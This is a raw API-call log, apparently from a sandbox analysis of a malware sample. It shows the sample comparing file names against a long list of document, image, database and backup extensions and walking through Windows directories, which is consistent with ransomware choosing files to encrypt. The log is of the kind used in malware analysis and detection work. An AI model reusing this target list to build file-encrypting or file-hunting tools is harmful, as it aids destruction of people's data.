(lpString1=".ai6", lpString2=".HXT") returned -1 [0045.591] lstrcmpiW (lpString1=".ai7", lpString2=".HXT") returned -1 [0045.591] lstrcmpiW (lpString1=".ai8", lpString2=".HXT") returned -1 [0045.591] lstrcmpiW (lpString1=".anim", lpString2="L.HXT") returned -1 [0045.591] lstrcmpiW (lpString1=".arw", lpString2=".HXT") returned -1 [0045.591] lstrcmpiW (lpString1=".as", lpString2="HXT") returned -1 [0045.591] lstrcmpiW (lpString1=".asa", lpString2=".HXT") returned -1 [0045.591] lstrcmpiW (lpString1=".asc", lpString2=".HXT") returned -1 [0045.591] lstrcmpiW (lpString1=".ascx", lpString2="L.HXT") returned -1 [0045.591] lstrcmpiW (lpString1=".asm", lpString2=".HXT") returned -1 [0045.591] lstrcmpiW (lpString1=".asmx", lpString2="L.HXT") returned -1 [0045.591] lstrcmpiW (lpString1=".asp", lpString2=".HXT") returned -1 [0045.591] lstrcmpiW (lpString1=".aspx", lpString2="L.HXT") returned -1 [0045.592] lstrcmpiW (lpString1=".asr", lpString2=".HXT") returned -1 [0045.592] lstrcmpiW (lpString1=".asx", lpString2=".HXT") returned -1 [0045.592] lstrcmpiW (lpString1=".avi", lpString2=".HXT") returned -1 [0045.592] lstrcmpiW (lpString1=".avs", lpString2=".HXT") returned -1 [0045.592] lstrcmpiW (lpString1=".backup", lpString2="COL.HXT") returned -1 [0045.592] lstrcmpiW (lpString1=".bak", lpString2=".HXT") returned -1 [0045.592] lstrcmpiW (lpString1=".bay", lpString2=".HXT") returned -1 [0045.592] lstrcmpiW (lpString1=".bd", lpString2="HXT") returned -1 [0045.592] lstrcmpiW (lpString1=".bin", lpString2=".HXT") returned -1 [0045.592] lstrcmpiW (lpString1=".bmp", lpString2=".HXT") returned -1 [0045.592] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0045.592] lstrcmpiW (lpString1=".c", lpString2="XT") returned -1 [0045.592] lstrcmpiW (lpString1=".cdr", lpString2=".HXT") returned -1 [0045.592] lstrcmpiW (lpString1=".cer", lpString2=".HXT") returned -1 [0045.592] lstrcmpiW (lpString1=".cf", lpString2="HXT") returned -1 [0045.592] lstrcmpiW (lpString1=".cfc", lpString2=".HXT") returned -1 [0045.592] lstrcmpiW (lpString1=".cfm", lpString2=".HXT") returned -1 [0045.592] lstrcmpiW (lpString1=".cfml", lpString2="L.HXT") returned -1 [0045.592] lstrcmpiW (lpString1=".cfu", lpString2=".HXT") returned -1 [0045.592] lstrcmpiW (lpString1=".chm", lpString2=".HXT") returned -1 [0045.592] lstrcmpiW (lpString1=".cin", lpString2=".HXT") returned -1 [0045.593] lstrcmpiW (lpString1=".class", lpString2="OL.HXT") returned -1 [0045.593] lstrcmpiW (lpString1=".clx", lpString2=".HXT") returned -1 [0045.593] lstrcmpiW (lpString1=".config", lpString2="COL.HXT") returned -1 [0045.593] lstrcmpiW (lpString1=".cpp", lpString2=".HXT") returned -1 [0045.593] lstrcmpiW (lpString1=".cr2", lpString2=".HXT") returned -1 [0045.593] lstrcmpiW (lpString1=".crt", lpString2=".HXT") returned -1 [0045.593] lstrcmpiW (lpString1=".crw", lpString2=".HXT") returned -1 [0045.593] lstrcmpiW (lpString1=".cs", lpString2="HXT") returned -1 [0045.593] lstrcmpiW (lpString1=".css", lpString2=".HXT") returned -1 [0045.593] lstrcmpiW (lpString1=".csv", lpString2=".HXT") returned -1 [0045.593] lstrcmpiW (lpString1=".cub", lpString2=".HXT") returned -1 [0045.593] lstrcmpiW (lpString1=".dae", lpString2=".HXT") returned -1 [0045.593] lstrcmpiW (lpString1=".dat", lpString2=".HXT") returned -1 [0045.593] lstrcmpiW (lpString1=".db", lpString2="HXT") returned -1 [0045.593] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0045.593] lstrcmpiW (lpString1=".dbx", lpString2=".HXT") returned -1 [0045.593] lstrcmpiW (lpString1=".dc3", lpString2=".HXT") returned -1 [0045.593] lstrcmpiW (lpString1=".dcm", lpString2=".HXT") returned -1 [0045.593] lstrcmpiW (lpString1=".dcr", lpString2=".HXT") returned -1 [0045.593] lstrcmpiW (lpString1=".der", lpString2=".HXT") returned -1 [0045.593] lstrcmpiW (lpString1=".dib", lpString2=".HXT") returned -1 [0045.594] lstrcmpiW (lpString1=".dic", lpString2=".HXT") returned -1 [0045.594] lstrcmpiW (lpString1=".dif", lpString2=".HXT") returned -1 [0045.594] lstrcmpiW (lpString1=".divx", lpString2="L.HXT") returned -1 [0045.594] lstrcmpiW (lpString1=".djvu", lpString2="L.HXT") returned -1 [0045.594] lstrcmpiW (lpString1=".dng", lpString2=".HXT") returned -1 [0045.594] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0045.594] lstrcmpiW (lpString1=".docm", lpString2="L.HXT") returned -1 [0045.594] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0045.594] lstrcmpiW (lpString1=".dot", lpString2=".HXT") returned -1 [0045.594] lstrcmpiW (lpString1=".dotm", lpString2="L.HXT") returned -1 [0045.594] lstrcmpiW (lpString1=".dotx", lpString2="L.HXT") returned -1 [0045.594] lstrcmpiW (lpString1=".dpx", lpString2=".HXT") returned -1 [0045.594] lstrcmpiW (lpString1=".dqy", lpString2=".HXT") returned -1 [0045.594] lstrcmpiW (lpString1=".dsn", lpString2=".HXT") returned -1 [0045.594] lstrcmpiW (lpString1=".dt", lpString2="HXT") returned -1 [0045.594] lstrcmpiW (lpString1=".dtd", lpString2=".HXT") returned -1 [0045.594] lstrcmpiW (lpString1=".dwg", lpString2=".HXT") returned -1 [0045.594] lstrcmpiW (lpString1=".dwt", lpString2=".HXT") returned -1 [0045.594] lstrcmpiW (lpString1=".dx", lpString2="HXT") returned -1 [0045.594] lstrcmpiW (lpString1=".dxf", lpString2=".HXT") returned -1 [0045.595] lstrcmpiW (lpString1=".edml", lpString2="L.HXT") returned -1 [0045.595] lstrcmpiW (lpString1=".efd", lpString2=".HXT") returned -1 [0045.595] lstrcmpiW (lpString1=".elf", lpString2=".HXT") returned -1 [0045.595] lstrcmpiW (lpString1=".emf", lpString2=".HXT") returned -1 [0045.595] lstrcmpiW (lpString1=".emz", lpString2=".HXT") returned -1 [0045.595] lstrcmpiW (lpString1=".epf", lpString2=".HXT") returned -1 [0045.595] lstrcmpiW (lpString1=".eps", lpString2=".HXT") returned -1 [0045.595] lstrcmpiW (lpString1=".epsf", lpString2="L.HXT") returned -1 [0045.595] lstrcmpiW (lpString1=".epsp", lpString2="L.HXT") returned -1 [0045.595] lstrcmpiW (lpString1=".erf", lpString2=".HXT") returned -1 [0045.595] lstrcmpiW (lpString1=".exr", lpString2=".HXT") returned -1 [0045.595] lstrcmpiW (lpString1=".f4v", lpString2=".HXT") returned -1 [0045.595] lstrcmpiW (lpString1=".fido", lpString2="L.HXT") returned -1 [0045.595] lstrcmpiW (lpString1=".flm", lpString2=".HXT") returned -1 [0045.595] lstrcmpiW (lpString1=".flv", lpString2=".HXT") returned -1 [0045.595] lstrcmpiW (lpString1=".frm", lpString2=".HXT") returned -1 [0045.595] lstrcmpiW (lpString1=".fxg", lpString2=".HXT") returned -1 [0045.595] lstrcmpiW (lpString1=".geo", lpString2=".HXT") returned -1 [0045.595] lstrcmpiW (lpString1=".gif", lpString2=".HXT") returned -1 [0045.595] lstrcmpiW (lpString1=".grs", lpString2=".HXT") returned -1 [0045.595] lstrcmpiW (lpString1=".gz", lpString2="HXT") returned -1 [0045.596] lstrcmpiW (lpString1=".h", lpString2="XT") returned -1 [0045.596] lstrcmpiW (lpString1=".hdr", lpString2=".HXT") returned -1 [0045.596] lstrcmpiW (lpString1=".hpp", lpString2=".HXT") returned -1 [0045.596] lstrcmpiW (lpString1=".hta", lpString2=".HXT") returned -1 [0045.596] lstrcmpiW (lpString1=".htc", lpString2=".HXT") returned -1 [0045.596] lstrcmpiW (lpString1=".htm", lpString2=".HXT") returned -1 [0045.596] lstrcmpiW (lpString1=".html", lpString2="L.HXT") returned -1 [0045.596] lstrcmpiW (lpString1=".icb", lpString2=".HXT") returned 1 [0045.596] lstrcmpiW (lpString1=".ics", lpString2=".HXT") returned 1 [0045.596] lstrcmpiW (lpString1=".iff", lpString2=".HXT") returned 1 [0045.596] lstrcmpiW (lpString1=".inc", lpString2=".HXT") returned 1 [0045.596] lstrcmpiW (lpString1=".indd", lpString2="L.HXT") returned -1 [0045.596] lstrcmpiW (lpString1=".ini", lpString2=".HXT") returned 1 [0045.596] lstrcmpiW (lpString1=".iqy", lpString2=".HXT") returned 1 [0045.596] lstrcmpiW (lpString1=".j2c", lpString2=".HXT") returned 1 [0045.596] lstrcmpiW (lpString1=".j2k", lpString2=".HXT") returned 1 [0045.596] lstrcmpiW (lpString1=".java", lpString2="L.HXT") returned -1 [0045.596] lstrcmpiW (lpString1=".jp2", lpString2=".HXT") returned 1 [0045.596] lstrcmpiW (lpString1=".jpc", lpString2=".HXT") returned 1 [0045.596] lstrcmpiW (lpString1=".jpe", lpString2=".HXT") returned 1 [0045.597] lstrcmpiW (lpString1=".jpeg", lpString2="L.HXT") returned -1 [0045.597] lstrcmpiW (lpString1=".jpf", lpString2=".HXT") returned 1 [0045.597] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0045.597] lstrcmpiW (lpString1=".jpx", lpString2=".HXT") returned 1 [0045.597] lstrcmpiW (lpString1=".js", lpString2="HXT") returned -1 [0045.597] lstrcmpiW (lpString1=".jsf", lpString2=".HXT") returned 1 [0045.597] lstrcmpiW (lpString1=".json", lpString2="L.HXT") returned -1 [0045.597] lstrcmpiW (lpString1=".jsp", lpString2=".HXT") returned 1 [0045.597] lstrcmpiW (lpString1=".kdc", lpString2=".HXT") returned 1 [0045.597] lstrcmpiW (lpString1=".kmz", lpString2=".HXT") returned 1 [0045.597] lstrcmpiW (lpString1=".kwm", lpString2=".HXT") returned 1 [0045.597] lstrcmpiW (lpString1=".lasso", lpString2="OL.HXT") returned -1 [0045.597] lstrcmpiW (lpString1=".lbi", lpString2=".HXT") returned 1 [0045.597] lstrcmpiW (lpString1=".lgf", lpString2=".HXT") returned 1 [0045.597] lstrcmpiW (lpString1=".lgp", lpString2=".HXT") returned 1 [0045.597] lstrcmpiW (lpString1=".log", lpString2=".HXT") returned 1 [0045.597] lstrcmpiW (lpString1=".m1v", lpString2=".HXT") returned 1 [0045.597] lstrcmpiW (lpString1=".m4a", lpString2=".HXT") returned 1 [0045.597] lstrcmpiW (lpString1=".m4v", lpString2=".HXT") returned 1 [0045.597] lstrcmpiW (lpString1=".max", lpString2=".HXT") returned 1 [0045.598] lstrcmpiW (lpString1=".md", lpString2="HXT") returned -1 [0045.598] lstrcmpiW (lpString1=".mda", lpString2=".HXT") returned 1 [0045.598] lstrcmpiW (lpString1=".mdb", lpString2=".HXT") returned 1 [0045.598] lstrcmpiW (lpString1=".mde", lpString2=".HXT") returned 1 [0045.598] lstrcmpiW (lpString1=".mdf", lpString2=".HXT") returned 1 [0045.598] lstrcmpiW (lpString1=".mdw", lpString2=".HXT") returned 1 [0045.598] lstrcmpiW (lpString1=".mef", lpString2=".HXT") returned 1 [0045.598] lstrcmpiW (lpString1=".mft", lpString2=".HXT") returned 1 [0045.598] lstrcmpiW (lpString1=".mfw", lpString2=".HXT") returned 1 [0045.598] lstrcmpiW (lpString1=".mht", lpString2=".HXT") returned 1 [0045.598] lstrcmpiW (lpString1=".mhtml", lpString2="OL.HXT") returned -1 [0045.598] lstrcmpiW (lpString1=".mka", lpString2=".HXT") returned 1 [0045.598] lstrcmpiW (lpString1=".mkidx", lpString2="OL.HXT") returned -1 [0045.598] lstrcmpiW (lpString1=".mkv", lpString2=".HXT") returned 1 [0045.598] lstrcmpiW (lpString1=".mos", lpString2=".HXT") returned 1 [0045.598] lstrcmpiW (lpString1=".mov", lpString2=".HXT") returned 1 [0045.598] lstrcmpiW (lpString1=".mp3", lpString2=".HXT") returned 1 [0045.598] lstrcmpiW (lpString1=".mp4", lpString2=".HXT") returned 1 [0045.598] lstrcmpiW (lpString1=".mpeg", lpString2="L.HXT") returned -1 [0045.598] lstrcmpiW (lpString1=".mpg", lpString2=".HXT") returned 1 [0045.598] lstrcmpiW (lpString1=".mpv", lpString2=".HXT") returned 1 [0045.599] lstrcmpiW (lpString1=".mrw", lpString2=".HXT") returned 1 [0045.599] lstrcmpiW (lpString1=".msg", lpString2=".HXT") returned 1 [0045.599] lstrcmpiW (lpString1=".mxl", lpString2=".HXT") returned 1 [0045.599] lstrcmpiW (lpString1=".myd", lpString2=".HXT") returned 1 [0045.599] lstrcmpiW (lpString1=".myi", lpString2=".HXT") returned 1 [0045.599] lstrcmpiW (lpString1=".nef", lpString2=".HXT") returned 1 [0045.599] lstrcmpiW (lpString1=".nrw", lpString2=".HXT") returned 1 [0045.599] lstrcmpiW (lpString1=".obj", lpString2=".HXT") returned 1 [0045.599] lstrcmpiW (lpString1=".odb", lpString2=".HXT") returned 1 [0045.599] lstrcmpiW (lpString1=".odc", lpString2=".HXT") returned 1 [0045.599] lstrcmpiW (lpString1=".odm", lpString2=".HXT") returned 1 [0045.599] lstrcmpiW (lpString1=".odp", lpString2=".HXT") returned 1 [0045.599] lstrcmpiW (lpString1=".ods", lpString2=".HXT") returned 1 [0045.599] lstrcmpiW (lpString1=".oft", lpString2=".HXT") returned 1 [0045.599] lstrcmpiW (lpString1=".one", lpString2=".HXT") returned 1 [0045.599] lstrcmpiW (lpString1=".onepkg", lpString2="COL.HXT") returned -1 [0045.599] lstrcmpiW (lpString1=".onetoc2", lpString2="_COL.HXT") returned -1 [0045.599] lstrcmpiW (lpString1=".opt", lpString2=".HXT") returned 1 [0045.599] lstrcmpiW (lpString1=".oqy", lpString2=".HXT") returned 1 [0045.599] lstrcmpiW (lpString1=".orf", lpString2=".HXT") returned 1 [0045.600] lstrcmpiW (lpString1=".p12", lpString2=".HXT") returned 1 [0045.600] lstrcmpiW (lpString1=".p7b", lpString2=".HXT") returned 1 [0045.600] lstrcmpiW (lpString1=".p7c", lpString2=".HXT") returned 1 [0045.600] lstrcmpiW (lpString1=".pam", lpString2=".HXT") returned 1 [0045.600] lstrcmpiW (lpString1=".pbm", lpString2=".HXT") returned 1 [0045.600] lstrcmpiW (lpString1=".pct", lpString2=".HXT") returned 1 [0045.600] lstrcmpiW (lpString1=".pcx", lpString2=".HXT") returned 1 [0045.600] lstrcmpiW (lpString1=".pdd", lpString2=".HXT") returned 1 [0045.600] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0045.600] lstrcmpiW (lpString1=".pdp", lpString2=".HXT") returned 1 [0045.600] lstrcmpiW (lpString1=".pef", lpString2=".HXT") returned 1 [0045.600] lstrcmpiW (lpString1=".pem", lpString2=".HXT") returned 1 [0045.600] lstrcmpiW (lpString1=".pff", lpString2=".HXT") returned 1 [0045.600] lstrcmpiW (lpString1=".pfm", lpString2=".HXT") returned 1 [0045.600] lstrcmpiW (lpString1=".pfx", lpString2=".HXT") returned 1 [0045.600] lstrcmpiW (lpString1=".pgm", lpString2=".HXT") returned 1 [0045.600] lstrcmpiW (lpString1=".php", lpString2=".HXT") returned 1 [0045.600] lstrcmpiW (lpString1=".php3", lpString2="L.HXT") returned -1 [0045.600] lstrcmpiW (lpString1=".php4", lpString2="L.HXT") returned -1 [0045.600] lstrcmpiW (lpString1=".php5", lpString2="L.HXT") returned -1 [0045.601] lstrcmpiW (lpString1=".phtml", lpString2="OL.HXT") returned -1 [0045.601] lstrcmpiW (lpString1=".pict", lpString2="L.HXT") returned -1 [0045.601] lstrcmpiW (lpString1=".pl", lpString2="HXT") returned -1 [0045.601] lstrcmpiW (lpString1=".pls", lpString2=".HXT") returned 1 [0045.601] lstrcmpiW (lpString1=".pm", lpString2="HXT") returned -1 [0045.601] lstrcmpiW (lpString1=".png", lpString2=".HXT") returned 1 [0045.601] lstrcmpiW (lpString1=".pnm", lpString2=".HXT") returned 1 [0045.601] lstrcmpiW (lpString1=".pot", lpString2=".HXT") returned 1 [0045.601] lstrcmpiW (lpString1=".potm", lpString2="L.HXT") returned -1 [0045.601] lstrcmpiW (lpString1=".potx", lpString2="L.HXT") returned -1 [0045.601] lstrcmpiW (lpString1=".ppa", lpString2=".HXT") returned 1 [0045.601] lstrcmpiW (lpString1=".ppam", lpString2="L.HXT") returned -1 [0045.601] lstrcmpiW (lpString1=".ppm", lpString2=".HXT") returned 1 [0045.601] lstrcmpiW (lpString1=".pps", lpString2=".HXT") returned 1 [0045.601] lstrcmpiW (lpString1=".ppsm", lpString2="L.HXT") returned -1 [0045.602] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0045.602] lstrcmpiW (lpString1=".pptm", lpString2="L.HXT") returned -1 [0045.602] lstrcmpiW (lpString1=".pptx", lpString2="L.HXT") returned -1 [0045.602] lstrcmpiW (lpString1=".prn", lpString2=".HXT") returned 1 [0045.602] lstrcmpiW (lpString1=".ps", lpString2="HXT") returned -1 [0045.602] lstrcmpiW (lpString1=".psb", lpString2=".HXT") returned 1 [0045.602] lstrcmpiW (lpString1=".psd", lpString2=".HXT") returned 1 [0045.602] lstrcmpiW (lpString1=".pst", lpString2=".HXT") returned 1 [0045.602] lstrcmpiW (lpString1=".ptx", lpString2=".HXT") returned 1 [0045.602] lstrcmpiW (lpString1=".pub", lpString2=".HXT") returned 1 [0045.602] lstrcmpiW (lpString1=".pwm", lpString2=".HXT") returned 1 [0045.602] lstrcmpiW (lpString1=".pxr", lpString2=".HXT") returned 1 [0045.602] lstrcmpiW (lpString1=".py", lpString2="HXT") returned -1 [0045.602] lstrcmpiW (lpString1=".qt", lpString2="HXT") returned -1 [0045.602] lstrcmpiW (lpString1=".r3d", lpString2=".HXT") returned 1 [0045.602] lstrcmpiW (lpString1=".raf", lpString2=".HXT") returned 1 [0045.602] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0045.602] lstrcmpiW (lpString1=".raw", lpString2=".HXT") returned 1 [0045.602] lstrcmpiW (lpString1=".rdf", lpString2=".HXT") returned 1 [0046.365] FindNextFileW (in: hFindFile=0x56f470, lpFindFileData=0x3e8f58c | out: lpFindFileData=0x3e8f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51243c00, ftCreationTime.dwHighDateTime=0x1c7ae59, ftLastAccessTime.dwLowDateTime=0x60acc8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51243c00, ftLastWriteTime.dwHighDateTime=0x1c7ae59, nFileSizeHigh=0x0, nFileSizeLow=0x13574, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXLIRMV.XML", cAlternateFileName="")) returned 1 [0046.369] FindNextFileW (in: hFindFile=0x56f4b0, lpFindFileData=0x3e8f310 | out: lpFindFileData=0x3e8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.370] FindNextFileW (in: hFindFile=0x56f4b0, lpFindFileData=0x3e8f310 | out: lpFindFileData=0x3e8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0046.374] FindNextFileW (in: hFindFile=0x56f530, lpFindFileData=0x3e8f094 | out: lpFindFileData=0x3e8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.375] FindNextFileW (in: hFindFile=0x56f530, lpFindFileData=0x3e8f094 | out: lpFindFileData=0x3e8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75974300, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75974300, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITL.ICO", cAlternateFileName="")) returned 1 [0050.666] FindNextFileW (in: hFindFile=0x56f470, lpFindFileData=0x3e8f58c | out: lpFindFileData=0x3e8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clock.Gadget", cAlternateFileName="CLOCK~1.GAD")) returned 1 [0050.667] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\*", lpFindFileData=0x3e8f310 | out: lpFindFileData=0x3e8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56f530 [0050.667] FindNextFileW (in: hFindFile=0x56f530, lpFindFileData=0x3e8f310 | out: lpFindFileData=0x3e8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.667] FindNextFileW (in: hFindFile=0x56f530, lpFindFileData=0x3e8f310 | out: lpFindFileData=0x3e8f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8439c2bc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8439c2bc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2855fdaf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5b85, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0050.668] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\*", lpFindFileData=0x3e8f094 | out: lpFindFileData=0x3e8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56f370 [0050.668] FindNextFileW (in: hFindFile=0x56f370, lpFindFileData=0x3e8f094 | out: lpFindFileData=0x3e8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.668] FindNextFileW (in: hFindFile=0x56f370, lpFindFileData=0x3e8f094 | out: lpFindFileData=0x3e8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104c, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.html", cAlternateFileName="")) returned 1 [0050.669] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\en-US\\css\\*", lpFindFileData=0x3e8ee18 | out: lpFindFileData=0x3e8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56f5f0 [0050.979] FindNextFileW (in: hFindFile=0x56f5f0, lpFindFileData=0x3e8ee18 | out: lpFindFileData=0x3e8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22eb1137, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.979] FindNextFileW (in: hFindFile=0x56f5f0, lpFindFileData=0x3e8ee18 | out: lpFindFileData=0x3e8ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="clock.css", cAlternateFileName="")) returned 1 [0059.571] FindClose (in: hFindFile=0x56f5b0 | out: hFindFile=0x56f5b0) returned 1 [0059.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3f80090 | out: hHeap=0x520000) returned 1 [0059.572] FindNextFileW (in: hFindFile=0x56f370, lpFindFileData=0x3e8f310 | out: lpFindFileData=0x3e8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", cAlternateFileName="{AC76B~1")) returned 0 [0059.572] FindClose (in: hFindFile=0x56f370 | out: hFindFile=0x56f370) returned 1 [0059.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37d06e0 | out: hHeap=0x520000) returned 1 [0059.572] FindNextFileW (in: hFindFile=0x56f530, lpFindFileData=0x3e8f58c | out: lpFindFileData=0x3e8f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vigtigt.htm", cAlternateFileName="")) returned 1 [0059.572] FindClose (in: hFindFile=0x56f530 | out: hFindFile=0x56f530) returned 1 [0059.572] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3f50078 | out: hHeap=0x520000) returned 1 [0059.572] FindNextFileW (in: hFindFile=0x56f470, 